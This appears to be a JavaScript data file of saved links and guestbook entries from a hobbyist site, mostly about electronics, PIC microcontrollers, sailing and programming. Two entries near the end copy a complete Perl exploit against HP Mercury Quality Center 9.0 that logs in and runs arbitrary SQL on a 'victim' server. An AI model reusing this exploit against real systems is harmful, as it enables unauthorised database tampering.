Using a Browser such as Internet Explore or Netscape, you can securely access the unit. It includes 8 Digital Inputs, 8 Digital Relay Outputs and works like an IO Server. You can integrate it with Home / Office security, Personal entertainment, and Industrial field applications. <BR>\
"
);
gbF( 
"Your name","","Thu, 29 Sep 2005 08:11:45 UTC+0100","212.56.108.219 ",
"",
"http://www.seattlerobotics.org/encoder/200009/Servos.html",
"Radio Control Servos and Speed Control ",
"",
"Radio Control Servos and Speed Control <BR>\
By Lee Buse (c) August 2000   (Edited by Steven D. Kaehler) <BR>\
<BR>\
(Technical Reference Information) <BR>\
<BR>\
Return to Speed Control Hack Article <BR>\
<BR>\
<BR>\
--------------------------------------------------------------------------------<BR>\
<BR>\
<BR>\
Introduction <BR>\
Most radio control servos are controlled by a pulse width modulated signal with the pulse width varying from 1 mS to 2 mS and 1.5 mS representing the nominal zero center position. One of the early successful RC servo control ICs that used this pulse standard was the Signetics NE544 IC, provided in a Dual In-line Package. Figure 1 is a copy of the detailed NE544 internal circuit drawing and Figure 2 shows the suggested external connections when the device is used in a typical RC servo. Click here to load a full size version of Figure 2.  In recent years the NE544 has been replaced by the Mitsubishi M51660L, provided in a smaller Single In-line Package (SIP). <BR>\
"
);
gbF( 
"Your name","","Thu, 29 Sep 2005 08:16:43 UTC+0100","212.56.108.219 ",
"",
"http://www.mh.ttu.ee/risto/rc/electronics/radio/signal.htm",
"R/C Servo Pulse,PPM and PCM coding",
"",
"R/C Servo Pulse,PPM and PCM coding<BR>\
 <BR>\
<BR>\
All information on this page is measured from the existing system and the written text is based on assumptions, there is no confirmation from FUTABA for this information. All corrections and additions are welcome.<BR>\
<BR>\
"
);
gbF( 
"Your name","","Thu, 29 Sep 2005 08:18:23 UTC+0100","212.56.108.219 ",
"",
"http://www.seattlerobotics.org/encoder/200009/S3003C.html",
"Variable Speed Control Modification to the Futaba S3003 RC Servo ",
"",
"Variable Speed Control Modification to the Futaba S3003 RC Servo <BR>\
<BR>\
Lee Buse (c) August 2000  (Edited by Steven D. Kaehler) <BR>\
<BR>\
Introduction <BR>\
The Radio Controlled (RC) servo is an ingenious device that allows remote, proportional actuation of mechanisms by the simple movement of a lever on a controller or the software of a robot.  For hobby robotics, this enables scanning sensors, walking machines, animatronic devices, and a host of other interesting moving machines. "
);
gbF( 
"Your name","","Wed, 28 Dec 2005 16:07:30 UTC+0100","62.252.64.12 82.16.126.244",
"",
"http://support.microsoft.com/?scid=kb;en-us;314067&spid=1173&sid=184",
"How to troubleshoot TCP/IP connectivity with Windows XP",
"",
"http://support.microsoft.com/?scid=kb;en-us;314067&spid=1173&sid=184"
);
gbF( 
"doug","","Wed, 28 Dec 2005 16:08:31 UTC+0100","62.252.64.12 82.16.126.244",
"",
"http://www.microsoft.com/downloads/Browse.aspx?displaylang=en&categoryid=7",
"How to troubleshoot TCP/IP connectivity with Windows XP",
"",
"http://www.microsoft.com/downloads/Browse.aspx?displaylang=en&categoryid=7"
);
gbF( 
"Doug Rice","","Wed, 28 Dec 2005 21:27:26 UTC+0100","212.56.108.219 ",
"",
"http://support.microsoft.com/kb/299357/",
"How to reset Internet Protocol (TCP/IP) in Windows XP",
"",
"http://support.microsoft.com/kb/299357/"
);
gbF( 
"doug","","Mon, 2 Jan 2006 20:34:03 UTC+0100","212.56.108.219 ",
"",
"http://www.dougrice.plus.com/rt004/sr3/Logger.html",
"A simple logger using a 16F676",
"",
"I purchased two of those solar powered lights. <BR>\
<BR>\
They worked quite well in the summer, but in the autumn, they never seemed to be on for very long. I was quite disappointed.<BR>\
<BR>\
How long is the LED on for? Is the battery big enough, or is the solar panel too small?<BR>\
<BR>\
I wanted to measure how long the battery was being charged for and the how long the LED is on for.<BR>\
<BR>\
Could I use a PIC with A/D and a serial EEPROM to measure how long the LED was on , how long the battery was being charged, and see if the design was optimised.<BR>\
<BR>\
I traced the circuit of the solar light, and using a couple of cheap alarm clocks as timers I could measure the Charging duration and the on time.<BR>\
<BR>\
The alarm clocks are the Quartz mechanical types, I used a transistor to turn on the battery, and therefore I could measure the on time for up to 12 hours."
);
gbF( 
"Your name","","Sun, 15 Jan 2006 12:01:00 UTC+0100","212.56.108.219 ",
"",
"http://www.vqti.com/VIEWQUEST_ENGLISH/downloads.asp",
"View Quest Webcam Drivers",
"",
"  Product Type     File Type     Model No.     OS     Last Update File Size <BR>\
    PC Camera     INF File     M318     Win95(OSR2)     1999/04/01 1.09 MB <BR>\
    PC Camera     INF File     M318     Win98     1999/04/01 1.04 MB <BR>\
    PC Camera     INF File     M318     Win2k     1999/04/01 657 KB <BR>\
    PC Camera     Driver     M318B     Win98,Me,2K,XP     2001/10/29 3.80 MB <BR>\
    PC Camera     User Manual     M318B     User Manual     2000/08/01 4.54 MB <BR>\
    PC Camera     Driver     NA330     Win98,Me,2K,XP     2001/10/29 3.80 MB <BR>\
    PC Camera     Driver     NB330     Win98,Me,2K,XP     2001/10/29 3.80 MB <BR>\
    PC Camera     Driver     OV130     Win98,Me,2K,XP     2001/03/12 5.94 MB <BR>\
    PC Camera     Driver     VQ110     Win98,Me,2K,XP     2001/12/06 3.57 MB <BR>\
    PC Camera     User Manual     VQ110     User Manual     2000/03/12 8.21 MB <BR>\
"
);
gbF( 
"Your name","","Mon, 23 Jan 2006 22:19:57 UTC+0100","212.56.108.219 ",
"",
"http://www.dougrice.plus.com/rt004/sr3/CALC5.htm",
"Solar Garden Light Logger Data Processor.",
"",
"Solar Garden Light Logger Data Processor.<BR>\
Use MSworks 4.5 Communications @ 4800 8,n,1 to capture the output of the PIC. <BR>\
Use this page to process it and convert it to decimal<BR>\
"
);
gbF( 
"Your name","","Sat, 4 Feb 2006 14:38:14 UTC+0100","212.56.108.219 ",
"",
"http://www.compsys1.com/workbench/Benchware/Glipic/glipic.html",
"KS0108 based LCD controller)",
"",
" Above, the new GLiPIC super compact board. It measures a mere 1.9 x 2.5 inches! It houses a PIC 16F877, Max232, I2C eeprom along with an LM7805 power regulator.<BR>\
 <BR>\
  <BR>\
 Below, some examples of actual Glipic ‘art’ - a few are hand drawn directly in GLiPIC while others are bit mapped images (BMP format) loaded into GLiPIC and sent directly to the LCD or external eeprom. A 64 Kbit eeprom can hold up to 8 LCD display pages. <BR>\
 <BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Sun, 5 Mar 2006 15:01:07 UTC+0100","212.56.108.219 ",
"",
"http://www.gulldinghy.org.uk/gull1.htm",
"W e l c o m e Web site: Gull Builders: Porter Brothers L.t.d",
"",
"W e l c o m e Web site: Gull Builders: Porter Brothers L.t.d<BR>\
Tel 01243 377522<BR>\
Fax 01243 372929 info@porters.org.uk www.porters.org.uk Last updated 3/3/06 Workshop   Welcome to the new website devoted to the Gull sailing dinghy. This site is still under construction but It will be added to it in the coming months. Please send articles or pictures to add to this site to: <BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Sun, 5 Mar 2006 15:02:13 UTC+0100","212.56.108.219 ",
"",
"http://www.420sailing.org.uk/base.php?Action=Default",
"British International 420 Class Association",
"",
"British International 420 Class Association"
);
gbF( // guestbook.pl 
"Doug","","Mon, 20 Mar 2006 21:52:09 UTC+0100","212.56.108.219 ",
"",
"http://www.pjrc.com/tech/mp3/sta013.html#intro",
"How To Use The STA013 MP3 Decoder Chip",
"",
"STA013 Chip Details<BR>\
This page\'s mission is to help you understand how to use the STA013 MP3 decoder chip in order to design your own MP3 player. The player design described at the rest of these pages uses the STA013, but this page is intended to help you understand the STA013 itself, to use it in your own MP3 player design project.  <BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Wed, 22 Mar 2006 08:17:17 UTC+0100","212.56.108.219 ",
"",
"http://www.metoffice.com/weather/charts/index.html",
"Europe surface pressure charts",
"",
"Europe surface pressure charts  <BR>\
 <BR>\
These charts of surface pressure, from analysis (T+0) to the 84-hour forecast (T+84) are produced daily around 07:30 UTC. View charts as an animation | Met Office view | Guide to weather chart symbols<BR>\
<BR>\
<BR>\
T+0   T+12   T+24   T+36   T+48   T+60   T+72   T+84   <BR>\
 <BR>\
 <BR>\
"
);
gbF( // guestbook.pl 
"test","test@test.nl","Sun, 26 Mar 2006 10:16:45 UTC+0100","213.84.53.54 ",
"",
"http://www.test.com",
"pic.gif",
"",
"test"
);
gbF( // guestbook.pl 
"Your name","","Sat, 1 Apr 2006 20:35:19 UTC+0100","212.56.108.219 ",
"",
"http://www.wxtide32.com/",
"WXTide32 - a free Windows tide and current prediction program.",
"",
"WXTide32 - a free Windows tide and current prediction program.<BR>\
Predicts tides from 1970 through 2037. <BR>\
More than 9,500 stations worldwide (list) with 160 in England, Ireland and Scotland. <BR>\
More than 300 tidal current stations, all in North America. <BR>\
User station manager to easily add custom tide and current subordinate stations. <BR>\
Text outputs: daily tide list, monthly calendar, incremental tide. <BR>\
Graphic modes: tide clock, realtime graph, scrolling graph, overview. <BR>\
Each graphic mode has separate display options and window settings. <BR>\
Supports legacy ASCII text and new binary TCD harmonic constituent files. <BR>\
Supports user-installed World Vector Shoreline (WVS) map files. <BR>\
Can play user-installed ship\'s bells sound files on the half hour. <BR>\
Designed for interactive use but can also be used from other programs. <BR>\
Generates BMP graphics and text tide CSV spreadsheet files. <BR>\
Worldwide timezones, solar/lunar events, recent stations, realtime tide state icon. <BR>\
Low resource usage typically 4 MB disk, 5 MB RAM active, 1 MB as icon. <BR>\
Tested on Windows 9x, NT4, 2000, ME, XP. <BR>\
Self-contained, nothing else needed. <BR>\
Context sensitive help and all \"C\" source code included. <BR>\
Do not rely on the output of this program for decisions that can result in harm to any person or property. There is no way to provide certified data on a zero budget so if you need guaranteed results then WXTide32 is not for you. <BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Sun, 30 Apr 2006 09:04:18 UTC+0100","212.56.108.219 ",
"",
"http://www.cihologramas.com/contrib/pytbl.html",
"Python Tiny Pic Bootloader",
"",
"Description<BR>\
<BR>\
This software allows you to upload Intel.hex files to PIC microcontrolers programmed with the Tiny Pic BootLoader . It is written in Python, and uses the Python-Serial module. <BR>\
<BR>\
The program can be used as a console application, or if you have installed the wxPython module, you can use a wxWidgets GUI.<BR>\
<BR>\
This program was written to allow the Tiny Pic BootLoader to be used in a Linux environment. It should work in any platform supporting Python and Python-Serial.<BR>\
<BR>\
Use this program at your own risk.<BR>\
<BR>\
If you are successful using this software, please let me know. <BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Sun, 30 Apr 2006 21:34:01 UTC+0100","212.56.108.219 ",
"",
"http://www.developer-x.com/tutorials/oopjs/",
"Why would I want to write my applications using OOP ?",
"",
"JavaScript is an excellent language to write object oriented web applications. It can support OOP because it supports inheritance through prototyping as well as properties and methods. Many developers cast off JS as a suitable OOP language because they are so used to the class style of C# and Java. Many people don\'t realize that JavaScript supports inheritance.<BR>\
<BR>\
Why would I want to write my applications using OOP ?<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Thu, 4 May 2006 21:16:19 UTC+0100","212.56.108.219 ",
"",
"http://www.jollies.com/",
"Javascript On-Line Learning Interactive Environment for Simulation",
"",
"Developed by Professor John Billingsley, Jollies allow the student to download Web pages which contain panels of JavaScript code.  These can be edited on-screen simply by typing in the box and then the code can be executed. <BR>\
When used for simulating the dynamics of a system, for example, the code can represent state equations operating in real time.  The result can be an animated image moving \'in the correct manner\'.<BR>\
<BR>\
<BR>\
In every case, you can \'view source\' to see the engine-room of the simulation.  The aim has been to keep everything as simple as possible. <BR>\
"
);

gbF( // guestbook.pl 
"Your name","","Sat, 6 May 2006 10:34:00 UTC+0100","212.56.108.219 ",
"",
"http://www.boatsafetyscheme.com/site/Home_1.asp",
"About the Boat Safety Scheme",
"",
"About the Boat Safety Scheme<BR>\
<BR>\
The BSS was jointly established in 1997 by the Environment Agency and British Waterways to promote safety on the inland waterways in respect of boats, their installations and components. Meeting these safety Standards in order to obtain a navigation licence became a requirement at the same time. To<BR>\
date, some 45,000 powered craft have successfully met these requirements.<BR>\
<BR>\
An independent review of the scope of the BSS requirements took place during 2000 and recommended that British Waterways and the Environment Agency re-publish the full set of Check List items split into essential safety or environmental requirements and best safety practice recommendations. Extensive consultation with the boating public, groups representing these people and professional and trade bodies concerned with craft construction and safety standards contributed to this re-published list.<BR>\
"
);

gbF( // guestbook.pl 
"Doug","","Thu, 25 May 2006 20:25:29 UTC+0100","212.56.108.219 ",
"",
"http://www.dougrice.plus.com/Erlangs/loadShareTry.htm",
"leaky bucket load share, split a stream of events into several streams with different proportions.",
"",
"Here is a load share using leaky buckets. This is similar to the equitable pub round algorithm. <BR>\
<BR>\
You and some mates walk into the pub, some only drink halves, some drink pints, and each person is supposed to pick up their round fairly.<BR>\
<BR>\
You have a stream of events that you wish to split into streams using different proportions or parts. Have a bucket for each stream.<BR>\
For each event fill the buckets at the wanted parts (proportions). To pick the stream to send the call down, pick the fullest bucket and take out a dollop equal to the sum of the parts. ( The fill may go neagtive ) <BR>\
"
);
gbF( // guestbook.pl 
"Doug","","Wed, 7 Jun 2006 08:27:25 UTC+0100","212.56.108.219 ",
"",
"http://www.dougrice.plus.com/hp/gbbook/simple/IDEframe.htm",
"IDE frame work for JavaScript",
"",
"IDE frame work. <BR>\
This allows you to write some Here are some fucntions that allow javascript objects to be printed out and functions to pop up a form for edit. <BR>\
"
);


gbF( // guestbook.pl 
"Your name","","Fri, 23 Jun 2006 07:32:05 UTC+0100","212.56.108.219 ",
"",
"http://www.wppltd.demon.co.uk/WPP/Batteries/Charging_Methods/charging_methods.html",
"CHARGING METHODS",
"",
"CHARGING METHODS<BR>\
<BR>\
There is a lot on charging methods below.  For the specifics on how to look after your phone battery take a look here.<BR>\
<BR>\
The notes below discuss general charging methods particularly of NiCd and NiMH but also Lithium for those who are interested.  Although you have no choice when charging phone batteries (the charging method is determined by the phones charging circuit)  they do explain the background.<BR>\
  <BR>\
How can NiMH or NiCd cells be charged?"
);


gbF( // guestbook.pl 
"Your name","","Wed, 28 Jun 2006 08:09:14 UTC+0100","212.56.108.219 ",
"",
"http://www.dougrice.plus.com/hp/news/index.htm#previous",
"Modified LudiPipo Serial Port Programmer with various pin outs",
"",
"<BR>\
<BR>\
http://www.dougrice.plus.com/hp/picprog/PicProgCodev1_6a_060628.zip"
);


gbF( // guestbook.pl 
"Your name","","Sat, 15 Jul 2006 09:29:25 UTC+0100","212.56.108.219 ",
"",
"http://oase.uci.kun.nl/~mientki/data_www/pic/jal_v2_release.html",
"EASY TO USE JAL EMBEDDED SOFWARE BECOMES EVEN MORE POWERFUL",
"",
"FOR IMMEDIATE RELEASE <BR>\
EASY TO USE JAL EMBEDDED SOFWARE BECOMES EVEN MORE POWERFUL<BR>\
The beta team is please to announce the release of JAL version 2.0 (JALv2)<BR>\
<BR>\
JALv2 is a high-level language for Microchip TM PIC microcontrollers<BR>\
<BR>\
JAL – J*ust A*nother L*anguage was originally written by Wouter van Ooijen as a HLL better suited to PIC architecture yet understandable by new users. Sharing similarities with PASCAL it has evolved into a solid language with an enthusiastic user base.<BR>\
<BR>\
JAL v2 is complete rewrite by Kyle York, author of PICbsc (http://www.casadeyork.com/robot/picbsc/), building upon this proven core producing highly optimized code while embracing  JAL’s simplicity, syntax and style.<BR>\
<BR>\
JAL v2 now introduces many new powerful features enhancing the already strong suite, as highlighted below:<BR>\
<BR>\
Features:<BR>\
8, 16 and 32 bit words fully supported <BR>\
Signed and unsigned word variables <BR>\
user definable types <BR>\
Automatic BANK handling <BR>\
Automatic PAGE handling <BR>\
multiple interrupt routines allowed <BR>\
Built in support for multiple tables, each up to 255 values long <BR>\
Real Bit support OR, XOR, AND, NOT, Set, Test <BR>\
arithmetic shift for signed types <BR>\
Array functions – count etc <BR>\
highly accurate delay function <BR>\
Seamless Inline assembler support <BR>\
Supports popular bootloaders <BR>\
Enhanced New-User-Friendly Documentation <BR>\
<BR>\
Supported Devices:<BR>\
Users have the ability to add any device utilizing the 16F architecture <BR>\
Initial release 2.0.0 supports 12F-series and 16F-series <BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Mon, 2 Oct 2006 07:21:25 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.possibility.com/Cpp/CppCodingStandard.html#descriptive",
"C++ Coding Standard ",
"",
"Using this Standard. If you want to make a local copy of this standard and use it as your own you are perfectly free to do so. "
);
gbF( // guestbook.pl 
"Your name","","Mon, 2 Oct 2006 08:06:12 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://java.sun.com/docs/codeconv/",
"Code Conventions for the Java Programming Language",
"",
"This Code Conventions for the Java Programming Language document contains the standard conventions that we at Sun follow and recommend that others follow. It covers filenames, file organization, indentation, comments, declarations, statements, white space, naming conventions, programming practices and includes a code example. <BR>\
<BR>\
Why have code conventions? Code conventions are important to programmers for a number of reasons:<BR>\
<BR>\
80% of the lifetime cost of a piece of software goes to maintenance. <BR>\
Hardly any software is maintained for its whole life by the original author. <BR>\
Code conventions improve the readability of the software, allowing engineers to understand new code more quickly and thoroughly. <BR>\
The Code Conventions for the Java Programming Language document was revised and updated on April 20, 1999.<BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"John fisher","john.s.fisher@btinternet.com","Mon, 13 Nov 2006 09:23:34 UTC+0100","217.44.43.211  | host217-44-43-211.range217-44.btcentralplus.com  ",
"",
"www.fasle-godz.co.uk/buggy",
"Has some worksheets for picaxe-basic controlled Buggy and a simulator",
"",
"Hi Doug.<BR>\
Remember me?<BR>\
How are you doing?<BR>\
<BR>\
Are you still reading this page.<BR>\
<BR>\
Cheers<BR>\
jsf"
);
gbF( // guestbook.pl 
"Mary Ann Salors","gffg@fgfdg.fgfd","Sun, 19 Nov 2006 21:26:40 UTC+0100","62.252.32.11 81.106.128.248 | cdif-cache-1.server.ntli.net  ",
"",
"",
"",
"",
"Bonjour. Zepain de alors de franceoir"
);
gbF( // guestbook.pl 
"Dan","sdad","Fri, 24 Nov 2006 14:26:50 UTC+0100","89.213.8.134  | dsl89-213-8-134.as15444.net  ",
"",
"http://www.dougrice.plus.com/hp/news/index.htm",
"link to this page",
"",
"very helpful cheers"
);
gbF( // guestbook.pl 
"Doug","","Sat, 9 Dec 2006 20:03:04 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.picbasic.nl/indexes_uk.htm",
"PIC BASIC Projects",
"",
"Did you also want to remote control the dim-level from the lighting, open and close the sun-blind and windows, turn the central heating on and off, and plenty more in your house with a normal TV remote control?<BR>\
You have already programmed a little bit in Q-, Quick- or Visual-Basic?<BR>\
And you know a bit of electronics?<BR>\
More fun when building it by yourself!<BR>\
You can find here some projects which you can expand to your own wishes with the Proton PIC Basic compiler, click the button \'Projects\' here above for a review.<BR>\
It\'s also possible to build projects without the Proton PIC Basic compiler, because from almost every project are the .HEX files downloadable.<BR>\
<BR>\
 <BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Sat, 9 Dec 2006 20:40:19 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.ainslie.org.uk/callerid/cli_faq.htm",
"Caller ID FAQ v2.32 1st April 2004",
"",
"1. About this FAQ<BR>\
Caller Line Identification, CLI, Caller ID, Caller Display. All are different names for the service provided by many telephone companies that allows one to see the number of the person who is ringing you. This FAQ aims to help anyone who wants to use Caller ID, in particular those who want to pass this information to their computer. Inevitably, I concentrate on what I know best - the UK phone system and Caller ID under Windows, but I also cover other countries and operating systems; the principles are much the same. Having been unable to spend much time on this FAQ in the last couple of years, I\'ve just started on a major revision. So far I\'ve fixed the 200-odd dud links in the FAQ, but I\'ve not got on to the other pages yet, let alone adding all the extra info I\'ve accumulated - bear with me! <BR>\
"
);
gbF( // guestbook.pl 
"Doug","","Mon, 22 Jan 2007 22:30:51 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.hippy.freeserve.co.uk/picaxe.htm",
" The PICAXE processors are remarkable beasts; Basic Stamp like clones in single chip packages at a ridiculously low price. ",
"",
" The PICAXE processors are remarkable beasts; Basic Stamp like clones in single chip packages at a ridiculously low price. They have some very nice features, and, although designed for the educational market, should appeal to hobbyists, and professional developers alike.  "
);
gbF( // guestbook.pl 
"Sean Lathey","sean.lathey@roscom.co.uk","Mon, 26 Mar 2007 12:45:15 UTC+0100","88.96.166.22 192.168.1.130, 82.108.154.19 | 88-96-166-22.dsl.zen.co.uk  ",
"",
"www.lathey.co.uk",
"Lathey Website Design Services",
"",
"I like your Guestbook."
);
gbF( // guestbook.pl 
"Your name","","Thu, 12 Apr 2007 06:55:53 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://securitydot.net/xpl/exploits/vulnerabilities/articles/1681/exploit.html",
"HP Mercury Quality Center 9.0 build 9.1.0.4352 SQL Execution Exploit",
"",
"#!/usr/bin/perl<BR>\
#******************************************************************<BR>\
# HP Mercury Quality Center runQuery exploit.<BR>\
# Run whatever SQL you want on there db - without SQL injection.<BR>\
# Problem is client can do \"RunQuery\" command os we write<BR>\
program<BR>\
# to do this. Client can lots other things it should not also!<BR>\
# The backend database can be MSSQLServer or Oracle or nearly often<BR>\
# MSDE. This changes SQL types you can send. This is a blind SQL<BR>\
# attack but may be is it possible to get data out somehow?<BR>\
#<BR>\
# Copyright 2007 Isma Khan - Code may be freedly usuable on other<BR>\
# exploits as long as name appears.<BR>\
# ******************************************************************<BR>\
use IO::Socket;<BR>\
my $sql = \"UPDATE USERS SET US_ADDRESS=\'0wned\' WHERE<BR>\
US_USERNAME=\'paul_qc\'\";<BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Thu, 12 Apr 2007 07:00:21 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://securitydot.net/xpl/exploits/vulnerabilities/articles/1681/exploit.html",
"2007-04-03 HP Mercury Quality Center 9.0 build 9.1.0.4352 SQL Execution Exploit ",
"",
"2007-04-03 HP Mercury Quality Center 9.0 build 9.1.0.4352 SQL Execution Exploit <BR>\
Rated as : High Risk<BR>\
<BR>\
#!/usr/bin/perl<BR>\
#******************************************************************<BR>\
# HP Mercury Quality Center runQuery exploit.<BR>\
# Run whatever SQL you want on there db - without SQL injection.<BR>\
# Problem is client can do \"RunQuery\" command os we write<BR>\
program<BR>\
# to do this. Client can lots other things it should not also!<BR>\
# The backend database can be MSSQLServer or Oracle or nearly often<BR>\
# MSDE. This changes SQL types you can send. This is a blind SQL<BR>\
# attack but may be is it possible to get data out somehow?<BR>\
#<BR>\
# Copyright 2007 Isma Khan - Code may be freedly usuable on other<BR>\
# exploits as long as name appears.<BR>\
# ******************************************************************<BR>\
use IO::Socket;<BR>\
my $sql = \"UPDATE USERS SET US_ADDRESS=\'0wned\' WHERE<BR>\
US_USERNAME=\'paul_qc\'\";<BR>\
<BR>\
#my $sql = \"UPDATE USERS SET US_ADDRESS=\'0wned\' WHERE<BR>\
US_USERNAME=\'isma-khan\'\";<BR>\
# victim - Put yur victims hostname here.<BR>\
# vicport - Port to connect on.<BR>\
# u - username to login to quality center. This user provided.<BR>\
# p - Psswrd to login ot quality center. Try default passwords.<BR>\
# domain - A domain thhat user has access to.<BR>\
# project - A proj that user has access to.<BR>\
my $victim = \'192.168.0.2\'; <BR>\
my $vicport = 8080; <BR>\
my $u = \'alex_qc\'; <BR>\
my $p= \'\'; <BR>\
my $domain = \'DEFAULT\';<BR>\
my $project = \'QualityCenter_Demo\';<BR>\
<BR>\
# ****** Login to HPQMC *******************<BR>\
print \"Login\\n\";<BR>\
my @bits;<BR>\
push @bits, AddString(\'Login\');<BR>\
push @bits, \"\\\"0:int:1\\\"\";<BR>\
push @bits, \"\\\"0:int:-1\\\"\";<BR>\
push @bits, \"\\\"0:int:-1\\\"\";<BR>\
push @bits, AddString(\"{\\r\\nUSER_NAME:$u,\\r\\nPASSWORD:\" .<BR>\
SmolkaEncript($p) . \",\\r\\nCLIENTTYPE:\\\\00000018\\\\Quality Center Client<BR>\
UI\\r\\n}\\r\\n\");<BR>\
my $tmphost=\"0:conststr:Bannu\";<BR>\
push @bits, \"\\\\\" . MakeHex($tmphost) . \"\\\\\" .<BR>\
$tmphost;<BR>\
push @bits, \"\\\"65536:str:0\\\"\";<BR>\
push @bits, \"\\\"0:pint:0\\\"\";<BR>\
push @bits, \"\\\"0:pint:0\\\"\";<BR>\
push @bits, \"\\\"0:pint:0\\\"\";<BR>\
<BR>\
my $res=HTTPSending(@bits);<BR>\
undef @bits;<BR>\
my ($sesid) = $res =~ /ID:(\\d+)/;<BR>\
die \"Not login\\n\" unless($sesid);<BR>\
print \"Session ID: $sesid\\n\";<BR>\
<BR>\
# ***** Connect to project *********<BR>\
print \"Connect to project\\n\";<BR>\
push @bits, AddString(\'ConnectProject\');<BR>\
push @bits, \"\\\"0:int:2\\\"\";<BR>\
push @bits, \"\\\"0:int:$sesid\\\"\";<BR>\
push @bits, \"\\\"0:int:-1\\\"\";<BR>\
push @bits,<BR>\
AddString(\"{\\r\\nDOMAIN_NAME:$domain,\\r\\nPROJECT_NAME:\\\\\" .<BR>\
MakeHex($project) . \"\\\\$project\\r\\n}\\r\\n\");<BR>\
push @bits, \"\\\"65536:str:0\\\"\";<BR>\
push @bits, \"\\\"0:pint:0\\\"\";<BR>\
$res = HTTPSending(@bits);<BR>\
undef @bits;<BR>\
my ($psesid) = $res =~ /ID:(\\d+)/;<BR>\
die \"Not project\\n\" unless($psesid);<BR>\
print \"Project Session ID: $psesid\\n\";<BR>\
<BR>\
# ******** Run the SQL *****<BR>\
print \"Run SQL\\n\";<BR>\
push @bits, AddString(\'RunQuery\');<BR>\
push @bits, \"\\\"0:int:3\\\"\";<BR>\
push @bits, \"\\\"0:int:$sesid\\\"\";<BR>\
push @bits, \"\\\"0:int:$psesid\\\"\";<BR>\
push @bits, AddString($sql);<BR>\
push @bits, \"\\\"65536:str:0\\\"\";<BR>\
push @bits, \"\\\"0:int:0\\\"\";<BR>\
$res = HTTPSending(@bits);<BR>\
print $res;<BR>\
<BR>\
# **** Expect to get Failed to Run Query[ERR_SEP]Messages:<BR>\
# error here but SQL like INSERT or UPDATE still work.<BR>\
<BR>\
#******************************************************************<BR>\
# Make password <BR>\
#******************************************************************<BR>\
sub SmolkaEncript {<BR>\
	my $password=shift;<BR>\
	return \'\' unless($password);<BR>\
	my $cripted=\'ENRCRYPTED\';<BR>\
	my $base = \'SmolkaWasHereMonSher\';<BR>\
	my $x=0;<BR>\
	for(;$x<length($password);$x++){<BR>\
		$cripted = $cripted .<BR>\
(ord(substr($password,$x,1))+ord(substr($base,$x,1)));<BR>\
		$cripted = $cripted . \'!\';<BR>\
	}<BR>\
	return $cripted;<BR>\
}<BR>\
<BR>\
# ************************************************************<BR>\
# Send a text as HTTP to victim.<BR>\
# ***********************************************************<BR>\
sub HTTPSending {<BR>\
	my $body = bits2string(@_);<BR>\
	my $sock =<BR>\
IO::Socket::INET->new(proto=>\'tcp\',PeerAddr=>$victim,PeerPort=>$vicport)<BR>\
		or die \"Can\'t connect. $!\\n\";<BR>\
	my $header =	\"POST<BR>\
/qcbin/servlet/tdservlet/TDAPI_GeneralWebTreatment HTTP/1.0\\r\\n\"<BR>\
.	\"Content-Type: text/html; charset=UTF-8\\r\\n\"<BR>\
.	\"X-TD-ID: \" . sprintf(\"%08X\",XTDID($body)).<BR>\
\"\\r\\n\"<BR>\
. 	\"User-Agent: TeamSoft WinInet Component\\r\\n\"<BR>\
.	\"Content-Length: \" . length($body) . \"\\r\\n\"<BR>\
.	\"Pragma: no-cache\\r\\n\"<BR>\
.	\"\\r\\n\";<BR>\
	print $sock $header;<BR>\
	print $sock $body;<BR>\
	my $text;<BR>\
	while(!eof($sock)){<BR>\
		$text .= <$sock>;<BR>\
	}<BR>\
	return $text;<BR>\
}<BR>\
<BR>\
# ********* HPMQCs conststr type *********<BR>\
sub AddString {<BR>\
	my $str = shift;<BR>\
	if (length($str)<16){<BR>\
		return \"\\\"0:conststr:$str\\\"\";<BR>\
	} else {<BR>\
		return \'\\\\\' . MakeHex(\"0:conststr:$str\") .<BR>\
\"\\\\0:conststr:$str\";<BR>\
	}<BR>\
<BR>\
}<BR>\
# ********HPMQC uses hex digits in many place ************<BR>\
sub MakeHex {<BR>\
	return sprintf(\"%08x\",length(shift));<BR>\
}<BR>\
<BR>\
# ********************************************************<BR>\
# This takes @bits and make big longer string out of it.<BR>\
# *******************************************************<BR>\
sub bits2string {<BR>\
	my @bits=@_;<BR>\
	my $bitno = 0;<BR>\
	my $retstr=\"{\\r\\n\";<BR>\
	foreach my $onebit (@bits){<BR>\
		$retstr .= $bitno++ . \": $onebit,\\r\\n\";<BR>\
	}<BR>\
	$retstr = substr($retstr,0,-3);<BR>\
	$retstr = $retstr . \"\\r\\n}\\r\\n\";<BR>\
	return $retstr;<BR>\
}<BR>\
<BR>\
# *************************************************<BR>\
# HPMQC useid X-TD-ID header which is sum of all chars<BR>\
# in body plus number 2301. Could checksum?<BR>\
# **********************************************<BR>\
sub XTDID {<BR>\
	my $total=2301;<BR>\
	my $body = shift;<BR>\
<BR>\
	for(my $i=0;$i<length($body);$i++){<BR>\
		$total += ord(substr($body,$i,1));<BR>\
	}<BR>\
	return $total;<BR>\
}securitydot.net - 2007-04-03<BR>\
 <BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Wed, 18 Apr 2007 07:07:37 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.lua.inf.puc-rio.br/luanet/",
"Lua.NET: Integrating Lua with the CLI",
"",
